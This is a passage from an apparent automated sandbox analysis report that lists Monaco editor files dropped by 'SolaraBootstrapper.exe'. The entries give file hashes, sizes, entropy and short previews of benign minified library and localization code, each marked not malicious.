Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/(function(){var ie=["exports","require","vs/base/common/lifecycle","vs/nls","vs/nls!vs/editor/editor.main","vs/editor/common/core/range","vs/base/common/event","vs/base/browser/dom","vs/platform/instantiation/common/instantiation","vs/base/common/errors","vs/css!vs/editor/editor.main","vs/editor/common/core/position","vs/base/common/strings","vs/base/common/arrays","vs/base/common/async","vs/platform/contextkey/common/contextkey","vs/editor/browser/editorExtensions","vs/base/common/platform","vs/editor/common/services/languageFeatures","vs/base/common/cancellation","vs/base/common/types","vs/editor/common/editorContextKeys","vs/base/common/uri","vs/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.de.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (42241)
Category:	dropped
Size (bytes):	120585
Entropy (8bit):	4.947985274209808
Encrypted:	false
SSDEEP:	1536:t84Mc/7/by4xCtVuQ2AhURa51M9falYTu4pO/0VSivNpLFyRASXtAkcRAyy37dHh:t8Uy4xCoOnuTWjzQ3U
MD5:	6BD08563450364CBC987CCD57F00AA5E
SHA1:	0438DDBCFAA4E25743398709E2FB34FFDD0E0401
SHA-256:	C17A7143BFEC45615DFE279453207810386CF2DDB1765BB51D5EF7588E431C59
SHA-512:	CDE6FD753BDB1BB1871D691249A3A44CBF4E1A54D96707A9A8D52C2930CEC8E45AC546221CF293B144CDBC1DAD7176C0EC083A18A2431CE8F731B1268901B379
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.de",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["Eingabe"],"vs/base/browser/ui/findinput/findInputToggles":["Gro\xDF-/Kleinschreibung beachten","Nur ganzes Wort suchen","Regul\xE4ren Ausdruck verwenden"],"vs/base/browser/ui/findinput/replaceInput":["Eingabe","Gro\xDF-/Kleinschreibung beibehalten"],"vs/base/browser/ui/hover/hoverWidget":['\xDCberpr\xFCfen Sie dies in der barrierefreien Ansicht mit "{0}".','\xDCberpr\xFCfen Sie dies in der barrierefreien Ansicht \xFCber den Befehl "Barrierefreie Ansicht \xF6ffnen", der zurzeit nicht \xFCber eine Tastenzuordnu

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.es.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (42367)
Category:	dropped
Size (bytes):	120935
Entropy (8bit):	4.685804088206268
Encrypted:	false
SSDEEP:	1536:v6bTYMJ6KrgZyxa+q2eqfhRVxX/Z85PIJGJOluS18Cpy27w/PNUfeOBCHTwYu7Ez:v6Se03Y1w4lP8C8XNUfeOBCHTwYus
MD5:	71784F7AD71ADD554B3629F5470D0692
SHA1:	796A222F77085EFD67C8F23507D281FB5531A376
SHA-256:	7EECEC9290D4CE0E6ED84629DB0D4F1FA579BF747DAFDEABA07B0FCCCDBCA260
SHA-512:	868FBD79D01AF384694AA12CE284C861DA91677F9D0668223B1C5C40C9ABF3979506A09466FF5891123228507474BFDEFD72CEFC6BB675AC632F045A95E6C99F
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.es",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["entrada"],"vs/base/browser/ui/findinput/findInputToggles":["Coincidir may\xFAsculas y min\xFAsculas","Solo palabras completas","Usar expresi\xF3n regular"],"vs/base/browser/ui/findinput/replaceInput":["entrada","Conservar may/min"],"vs/base/browser/ui/hover/hoverWidget":["Inspeccione esto en la vista accesible con {0}.","Inspeccione esto en la vista accesible mediante el comando Abrir vista accesible, que actualmente no se puede desencadenar mediante el enlace de teclado."],"vs/base/browser/ui/iconLabel/iconL

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.fr.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (44787)
Category:	dropped
Size (bytes):	132590
Entropy (8bit):	4.841326964831083
Encrypted:	false
SSDEEP:	3072:8iXE5C6UVSSYHxGLrsWwkuJDLZLkjF/ntOkpApBWblyNqAv:8+E5CxVSSYHxGLrsWwkuJDLZLkjF/ntC
MD5:	CE87798DE13EE0DB8D3C93CBD4B71FF3
SHA1:	B2906F0F64437B5FB7E17BFCCC2FA86EB11FCF95
SHA-256:	40CC5F86D28DAC219AD76B3B93217147524E9A586497425FB1C7E8946BDF8D39
SHA-512:	405B32ED300BE9267A6C84987A1060D24783FB0D1396FBFA9B7DB7F5E6FB30F845B017BC602E81A39B1CF3DF0624AB81E853810E6205F3071EB8701A7A9F1735
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.fr",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["entr\xE9e"],"vs/base/browser/ui/findinput/findInputToggles":["Respecter la casse","Mot entier","Utiliser une expression r\xE9guli\xE8re"],"vs/base/browser/ui/findinput/replaceInput":["entr\xE9e","Pr\xE9server la casse"],"vs/base/browser/ui/hover/hoverWidget":["Inspectez ceci dans l\u2019affichage accessible avec {0}.","Inspectez ceci dans l\u2019affichage accessible via la commande Open Accessible View qui ne peut pas \xEAtre d\xE9clench\xE9e via une combinaison de touches pour l\u2019instant."],"vs/base/brow

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.it.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (43664)
Category:	dropped
Size (bytes):	122777
Entropy (8bit):	4.5914056633321945
Encrypted:	false
SSDEEP:	3072:OKGy/Bb8cFU25gOUJq2F91J1qn4X5NeEdhkO:OKGy/TgOoq2F91J1qn4X5N/h
MD5:	DE2806331A04CDE2CCD83E24E66D8AEC
SHA1:	05C726AFB6FBDBAFC3C589C35EF2F5BC4746F226
SHA-256:	4415CBA01EF4ECC312385A39F3D6F43AD6C3C8B33ACB9CBF0C0B95A3A21B352A
SHA-512:	95BC6B5D106B14FA5E512110142E60D61A37A37AC5FD3FD15A9BBD0CAA8C00DE0731351E171AD5EBF8DC7B82A3EC9BA87FE5BF371A98DDB99D99C60D8452A407
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.it",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["input"],"vs/base/browser/ui/findinput/findInputToggles":["Maiuscole/minuscole","Parola intera","Usa espressione regolare"],"vs/base/browser/ui/findinput/replaceInput":["input","Mantieni maiuscole/minuscole"],"vs/base/browser/ui/hover/hoverWidget":["Ispezionarlo nella visualizzazione accessibile con {0}.","Ispezionarlo nella visualizzazione accessibile tramite il comando Apri visualizzazione accessibile che attualmente non \xE8 attivabile tramite il tasto di scelta rapida."],"vs/base/browser/ui/iconLabel/iconL

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.ja.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (37895)
Category:	dropped
Size (bytes):	248590
Entropy (8bit):	4.103026864780491
Encrypted:	false
SSDEEP:	3072:b09KeywS3HZmYLPP/qqvYA3y3HFKi03vuPPWffQvCEwmGX1qs2HESNJ9Bg6rf8vg:b0QeV2APfaEwNqs2HESNHBg6rfIZS
MD5:	66266DBB1DBAC1A55417DC3BCD4F76CA
SHA1:	553F3CF7D1FB64E6BD3FC258CA263E14561299C1
SHA-256:	7FFA7603CB71B964D6EED22F604C51BBEFBE560FCDCD309E2668D74B6082EEA3
SHA-512:	515C6A8708A7C1985C67F483BD31C24E2136F78CCD1C010F4D736A97EE9A82259E87BCDD4B4EC5EB4F5516D5D781533C01B4B33171570DF0797C5F8FF155EE99
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.ja",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["\u5165\u529B"],"vs/base/browser/ui/findinput/findInputToggles":["\u5927\u6587\u5B57\u3068\u5C0F\u6587\u5B57\u3092\u533A\u5225\u3059\u308B","\u5358\u8A9E\u5358\u4F4D\u3067\u691C\u7D22\u3059\u308B","\u6B63\u898F\u8868\u73FE\u3092\u4F7F\u7528\u3059\u308B"],"vs/base/browser/ui/findinput/replaceInput":["\u5165\u529B","\u4FDD\u6301\u3059\u308B"],"vs/base/browser/ui/hover/hoverWidget":["{0} \u3092\u4F7F\u7528\u3057\u3066\u3001\u30E6\u30FC\u30B6\u30FC\u88DC\u52A9\u5BFE\u5FDC\u306E\u30D3\u30E5\u30FC\u3067\u3053\u308C\

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (34260)
Category:	dropped
Size (bytes):	96161
Entropy (8bit):	4.746330637275266
Encrypted:	false
SSDEEP:	1536:EbYdRy64vmFxsnLqWkYKqkSJHVepbXqZGD:Ese6+aWERbgGD
MD5:	E856E8CB66EA2DD27483F82FCBC923B8
SHA1:	20BDCDDF8838E09A317A66F763830DAFD200409A
SHA-256:	76882F9F1CA076A810CC44891FC00E6C3922D51D8C2D41C5093B016EEAA401CD
SHA-512:	F189758BC0B42644D9452DC49BF91C0CFB8196052E17A89DA50F4AD32FBCFE317FB51B95782EA8FF9F57522E6E8BA81C2343DF46DB5C06BB6A5F6719B765199D
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["input"],"vs/base/browser/ui/findinput/findInputToggles":["Match Case","Match Whole Word","Use Regular Expression"],"vs/base/browser/ui/findinput/replaceInput":["input","Preserve Case"],"vs/base/browser/ui/hover/hoverWidget":["Inspect this in the accessible view with {0}.","Inspect this in the accessible view via the command Open Accessible View which is currently not triggerable via keybinding."],"vs/base/browser/ui/iconLabel/iconLabelHover":["Loading..."],"vs/base/browser/ui/inputbox/inputBox":["Error: {0}","Wa

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.ko.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (33640)
Category:	dropped
Size (bytes):	205419
Entropy (8bit):	4.345887338395298
Encrypted:	false
SSDEEP:	1536:zY/SJerStsyiGgOqomKaWQteqQ+LtXlcxSc8ts:zY/SJVo/omKaW1+Lc
MD5:	8032847C134D186D4D4BC11FBA7C7E7A
SHA1:	DAD9EC2AB130A829D446E9EFC0C7B3D0FC3BFEE7
SHA-256:	67329CA30FE98668B295DCFD19FCFB8958815E56342E750655D9AEB876878847
SHA-512:	199D31E182BE28032AB25E0E7B0A12F5E43C09DF6BAC05746C387DDAC76E41B96980FB83DA3EE0ACA4C36AFB05E6D2C0419A958476DBA6DDE0563A1DA242A5DA
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.ko",{"vs/base/browser/ui/actionbar/actionViewItems":["{0}({1})"],"vs/base/browser/ui/findinput/findInput":["\uC785\uB825"],"vs/base/browser/ui/findinput/findInputToggles":["\uB300/\uC18C\uBB38\uC790 \uAD6C\uBD84","\uB2E8\uC5B4 \uB2E8\uC704\uB85C","\uC815\uADDC\uC2DD \uC0AC\uC6A9"],"vs/base/browser/ui/findinput/replaceInput":["\uC785\uB825","\uB300/\uC18C\uBB38\uC790 \uBCF4\uC874"],"vs/base/browser/ui/hover/hoverWidget":["{0}\uC744(\uB97C) \uC0AC\uC6A9\uD558\uC5EC \uC811\uADFC\uC131 \uBCF4\uAE30\uC5D0\uC11C \uC774\uB97C \uAC80\uC0AC\uD569\uB2C8\uB2E4.","\uD604\uC7AC \uD0A4 \uBC14\uC778\uB529\uC744 \uD1B5\uD574 \uD2B8

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.ru.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65256)
Category:	dropped
Size (bytes):	512190
Entropy (8bit):	3.409453617012253
Encrypted:	false
SSDEEP:	384:hBi0XabI1Z2da5y+kjn17ZrTUP74318KyttyHAUvx/ANtavPCvHyhrDLOHZ:ziomdh7f/8KIUgavPKHjZ
MD5:	E33A2DB9AC2082189C6D7BE83A23EE01
SHA1:	28FA0F79125C500B3D53D2E9E9212D4EF002F3A6
SHA-256:	E217A9B5823906A09E8CA0204A614319AA03607B54836FD9C616FCBFEC8861CD
SHA-512:	DBE3D3A4E6D618308A97C856DBFF22CA9F768D476EBAC3CDF7349A294E9B68D5EE53EE1A95DA5122DE9DF6A8D1EC8B03506F027DDF05309CDFE14589763FF01E
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.ru",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["\u0432\u0445\u043E\u0434\u043D\u044B\u0435 \u0434\u0430\u043D\u043D\u044B\u0435"],"vs/base/browser/ui/findinput/findInputToggles":["\u0421 \u0443\u0447\u0435\u0442\u043E\u043C \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430","\u0421\u043B\u043E\u0432\u043E \u0446\u0435\u043B\u0438\u043A\u043E\u043C","\u0418\u0441\u043F\u043E\u043B\u044C\u0437\u043E\u0432\u0430\u0442\u044C \u0440\u0435\u0433\u0443\u043B\u044F\u0440\u043D\u043E\u0435 \u0432\u044B\u0440\u0430\u0436\u0435\u043D\u0438\u0435"],"vs/base/browser/ui/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.zh-cn.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (40875)
Category:	dropped
Size (bytes):	156056
Entropy (8bit):	4.447840061328009
Encrypted:	false
SSDEEP:	3072:RuZssuS8LFLbssbnEOTkh8iPbT6UwdFu/XcoR6+DNWnxrodZNIPQuHyyuHvl33QR:RuOsuS8LFLbssbni8iPbT6UwdFu/Xcoq
MD5:	F5D2299434D75FD3EF381520A7942A9D
SHA1:	9F14138C8C47B1EF3F2883FABE46C8553F0EEB41
SHA-256:	43F6B0598C4492D89246F357D3DCA7CC8BFA6A5E100588C9566BC6F5C8E144DF
SHA-512:	BEEA0ECB22107B9F449FD73FC1DD1F6D510CCCD7D1E34177978CAE906CB0759AA05BD4EAC5FF8FE9206F75A116F89659717E08C89A7D0D51F21B4A2693946FD0
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.zh-cn",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["\u8F93\u5165"],"vs/base/browser/ui/findinput/findInputToggles":["\u533A\u5206\u5927\u5C0F\u5199","\u5168\u5B57\u5339\u914D","\u4F7F\u7528\u6B63\u5219\u8868\u8FBE\u5F0F"],"vs/base/browser/ui/findinput/replaceInput":["\u8F93\u5165","\u4FDD\u7559\u5927\u5C0F\u5199"],"vs/base/browser/ui/hover/hoverWidget":["\u5728\u8F85\u52A9\u89C6\u56FE\u4E2D\u7528 {0} \u68C0\u67E5\u6B64\u9879\u3002","\u901A\u8FC7\u547D\u4EE4\u201C\u6253\u5F00\u8F85\u52A9\u89C6\u56FE\u201D\u5728\u8F85\u52A9\u89C6\u56FE\u4E2D\u68C0\u67E5\u6B64

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.nls.zh-tw.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (40746)
Category:	dropped
Size (bytes):	159246
Entropy (8bit):	4.461787497354141
Encrypted:	false
SSDEEP:	3072:RFwTmchBa88aTKkO+VfjEtIzz+8o6yrlluOg38rI2ouGFJlngTn/oo3lkA97XO6n:RFSmEa88aTKkO+VfjEtIv+8o6yrlluOV
MD5:	C7A5C4564274089F5C1A17F0DA4EB8A1
SHA1:	467F1B3F6B2B7155159FC4A9147B8BF88A74C679
SHA-256:	E3C5FA966E4B589FEFC683383BFEB92ECB5684EBB67B0F9EA3D2ABE51FA5D083
SHA-512:	CF064B4749C766B153B8FB4EC6AF038E75E66099FB2031418352B1496CDB51661625AEBC12011DE3C7D0A9A7AF0CC6F7972A61A760FF1EA2A38B9C869A4E1DDB
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/define("vs/editor/editor.main.nls.zh-tw",{"vs/base/browser/ui/actionbar/actionViewItems":["{0} ({1})"],"vs/base/browser/ui/findinput/findInput":["\u8F38\u5165"],"vs/base/browser/ui/findinput/findInputToggles":["\u5927\u5C0F\u5BEB\u9808\u76F8\u7B26","\u5168\u5B57\u62FC\u5BEB\u9808\u76F8\u7B26","\u4F7F\u7528\u898F\u5247\u904B\u7B97\u5F0F"],"vs/base/browser/ui/findinput/replaceInput":["\u8F38\u5165","\u4FDD\u7559\u5927\u5C0F\u5BEB"],"vs/base/browser/ui/hover/hoverWidget":["\u4F7F\u7528 {0} \u5728\u53EF\u5B58\u53D6\u6AA2\u8996\u4E2D\u6AA2\u67E5\u6B64\u9805\u76EE\u3002","\u900F\u904E\u76EE\u524D\u7121\u6CD5\u900F\u904E\u6309\u9375\u7E6B\u7D50\u95DC\u4FC2

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\css\cssMode.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (22168)
Category:	dropped
Size (bytes):	34290
Entropy (8bit):	5.148121198098938
Encrypted:	false
SSDEEP:	768:1TdhLLs17kT2fyWNbR0C6pM38fDs5fhfK4m4g1KOMbxboqqNdImiuN8FCIgaz4:xdhLLs17kT2fyWNbR0C6O8fI5pf/g1KO
MD5:	F745889C28BFA41DC4638ABD76BC63A0
SHA1:	B0B1A018CD38D8FFA4F7AD3D6CA9C8CA98F03783
SHA-256:	CCFE978A6FF7AE2044D817F846FF0E157B9C088BAD6ED504E257975BE5CDBC90
SHA-512:	4120430F11620926201BE6CA6D83E77EABA12ABADC898DDA31112F5EED8F0CFA110D824DDB19E71DABAA7F871261279A2D1FDD0AD5EDAA72FAF6EB360038DDF7
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/css/cssMode", ["require","require"],(require)=>{.var moduleExports=(()=>{var en=Object.create;var Y=Object.defineProperty;var nn=Object.getOwnPropertyDescriptor;var tn=Object.getOwnPropertyNames;var rn=Object.getPrototypeOf,on=Object.prototype.hasOwnProperty;var sn=(n=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(n,{get:(t,i)=>(typeof require!="undefined"?require:t)[i]}):n)(function(n){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+n+'" is not supported')});var an=(n,t)=>()=>(t\|\|n((t={exp

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\css\cssWorker.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (56978)
Category:	dropped
Size (bytes):	776551
Entropy (8bit):	5.133064010019546
Encrypted:	false
SSDEEP:	6144:4iU561RpkfrQxEXMfGEGUREYQ4CgC4q5mL6rQN77EPIkRxIjPNlObQp6RxIjPNlX:4iUgVECEY/FpbTGMlJ
MD5:	DBE76882780275B00F45EEAAB8EBE525
SHA1:	2CD94B0E7BBC96A65A4868AF2D06A0511D454B37
SHA-256:	F81E2ADF4A550E3D89038A64EF1BD32C0ACCA59C7D7732A461E5736A02312859
SHA-512:	08A6E2C7C4631BEC87EA2B1AFA8CABC5509F43A0EE905FA151F86F13E1617AD1DF2D7D17599079A221D70DF687ACC0C42275724B766A73DF0567BD1164B32BF0
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/css/cssWorker", ["require","require"],(require)=>{.var moduleExports=(()=>{var $n=Object.defineProperty;var ds=Object.getOwnPropertyDescriptor;var hs=Object.getOwnPropertyNames;var ps=Object.prototype.hasOwnProperty;var us=(n,e)=>{for(var t in e)$n(n,t,{get:e[t],enumerable:!0})},ms=(n,e,t,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let i of hs(e))!ps.call(n,i)&&i!==t&&$n(n,i,{get:()=>e[i],enumerable:!(r=ds(e,i))\|\|r.enumerable});return n};var fs=n=>ms($n({},"__esModule",{value:!0}),n);var sl={};us(sl,{CSSWorker:()=>Vn,create:()=>ol});var d;(function(n){n[n.Ident=

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\html\htmlMode.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (22185)
Category:	dropped
Size (bytes):	34826
Entropy (8bit):	5.1514142212484595
Encrypted:	false
SSDEEP:	768:VXtzaTmFu7CY3z/Z9iOC6PP+oqpc0BbbCvJOgFIOgv/tqANdIROg5FHvgYnk:JtzaTmFu7CY3z/Z9iOC6nqprpb7gFIOS
MD5:	BEBB50C47D36FA8DA0A6C213A2AA8A81
SHA1:	9C3BA8FEEDE7B340C4405199C42A12418A1B0F27
SHA-256:	C00B1F2F6065C5022D60D8C46828CB726834E9D3A455BDC89780D41748B3B26C
SHA-512:	A5920563B31F9A6612E08E04205FF559EE2A5605247C6C310532EAA66906C8BB541D1B811F421D296CC85F5FAC6748F7E4833BE9A44AEDB129A4E61449CD2844
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/html/htmlMode", ["require","require"],(require)=>{.var moduleExports=(()=>{var nn=Object.create;var Q=Object.defineProperty;var tn=Object.getOwnPropertyDescriptor;var rn=Object.getOwnPropertyNames;var on=Object.getPrototypeOf,sn=Object.prototype.hasOwnProperty;var an=(n=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(n,{get:(t,i)=>(typeof require!="undefined"?require:t)[i]}):n)(function(n){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+n+'" is not supported')});var un=(n,t)=>()=>(t\|\|n((t={e

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\html\htmlWorker.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (29832)
Category:	dropped
Size (bytes):	445890
Entropy (8bit):	5.308476409497889
Encrypted:	false
SSDEEP:	6144:LE/xGvIWtISKIGMviS6cryT7xDiTvZErkBzsppmDWSKZZg4LLoVxpmZG6M:LQBMHFyT7wTvZ9spY1Y4
MD5:	0A3EF149B462E2EFFFB3FC5760F70CAD
SHA1:	6FEB219B4258D345760D508FD89972E4F7B3FF0F
SHA-256:	8C8F5BDBDB7B31CD16CDBDFFBF99AAEDBA8790B3016E7156F18D5BAA8A33C37E
SHA-512:	0E0CDD2CDA741A50695A9C9CA4E76C442538206E1E9442D0628AF5546FEAFEE222AD815EA8DAD5372978CD7480E7D02812686B341527F2A3A0A9D3593FE228E7
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/html/htmlWorker", ["require","require"],(require)=>{.var moduleExports=(()=>{var Xe=Object.defineProperty;var xn=Object.getOwnPropertyDescriptor;var Dn=Object.getOwnPropertyNames;var En=Object.prototype.hasOwnProperty;var Cn=(t,i)=>{for(var o in i)Xe(t,o,{get:i[o],enumerable:!0})},Ln=(t,i,o,n)=>{if(i&&typeof i=="object"\|\|typeof i=="function")for(let e of Dn(i))!En.call(t,e)&&e!==o&&Xe(t,e,{get:()=>i[e],enumerable:!(n=xn(i,e))\|\|n.enumerable});return t};var Mn=t=>Ln(Xe({},"__esModule",{value:!0}),t);var Ri={};Cn(Ri,{HTMLWorker:()=>Je,create:()=>Mi});function Rn(t,i){let o;ret

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\json\jsonMode.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (22282)
Category:	dropped
Size (bytes):	40280
Entropy (8bit):	5.2120048185170855
Encrypted:	false
SSDEEP:	768:m1xy5SyJXG86eBobgC6R38qLqX08NwErOqPxzO6ADZWOJ5P/jZ7iMogBlfS47FLs:m1xy5SyJXG86eBobgC6RsqLqEoOUO/PA
MD5:	EC67857A52845514B6C8D064D4FB5A2F
SHA1:	9591B312E7E942D992F3931D58487794101DE2A2
SHA-256:	76AC56F40DC8FF457D7033EA2EA06BBB82AC89EFA1B8E8A37609A40CC0E4950D
SHA-512:	B50B535D28A7903A8F051D99FDE73B0FC624BF82415D898577D9FF1E40317865E5F9708FE227864A0A30E710D813E113011E976329258047BA79BDD4EFB69E00
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/json/jsonMode", ["require","require"],(require)=>{.var moduleExports=(()=>{var Tn=Object.create;var ie=Object.defineProperty;var bn=Object.getOwnPropertyDescriptor;var Cn=Object.getOwnPropertyNames;var wn=Object.getPrototypeOf,In=Object.prototype.hasOwnProperty;var xn=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,i)=>(typeof require!="undefined"?require:t)[i]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var En=(e,t)=>()=>(t\|\|e((t={

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\json\jsonWorker.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (29891)
Category:	dropped
Size (bytes):	128871
Entropy (8bit):	5.377103877688578
Encrypted:	false
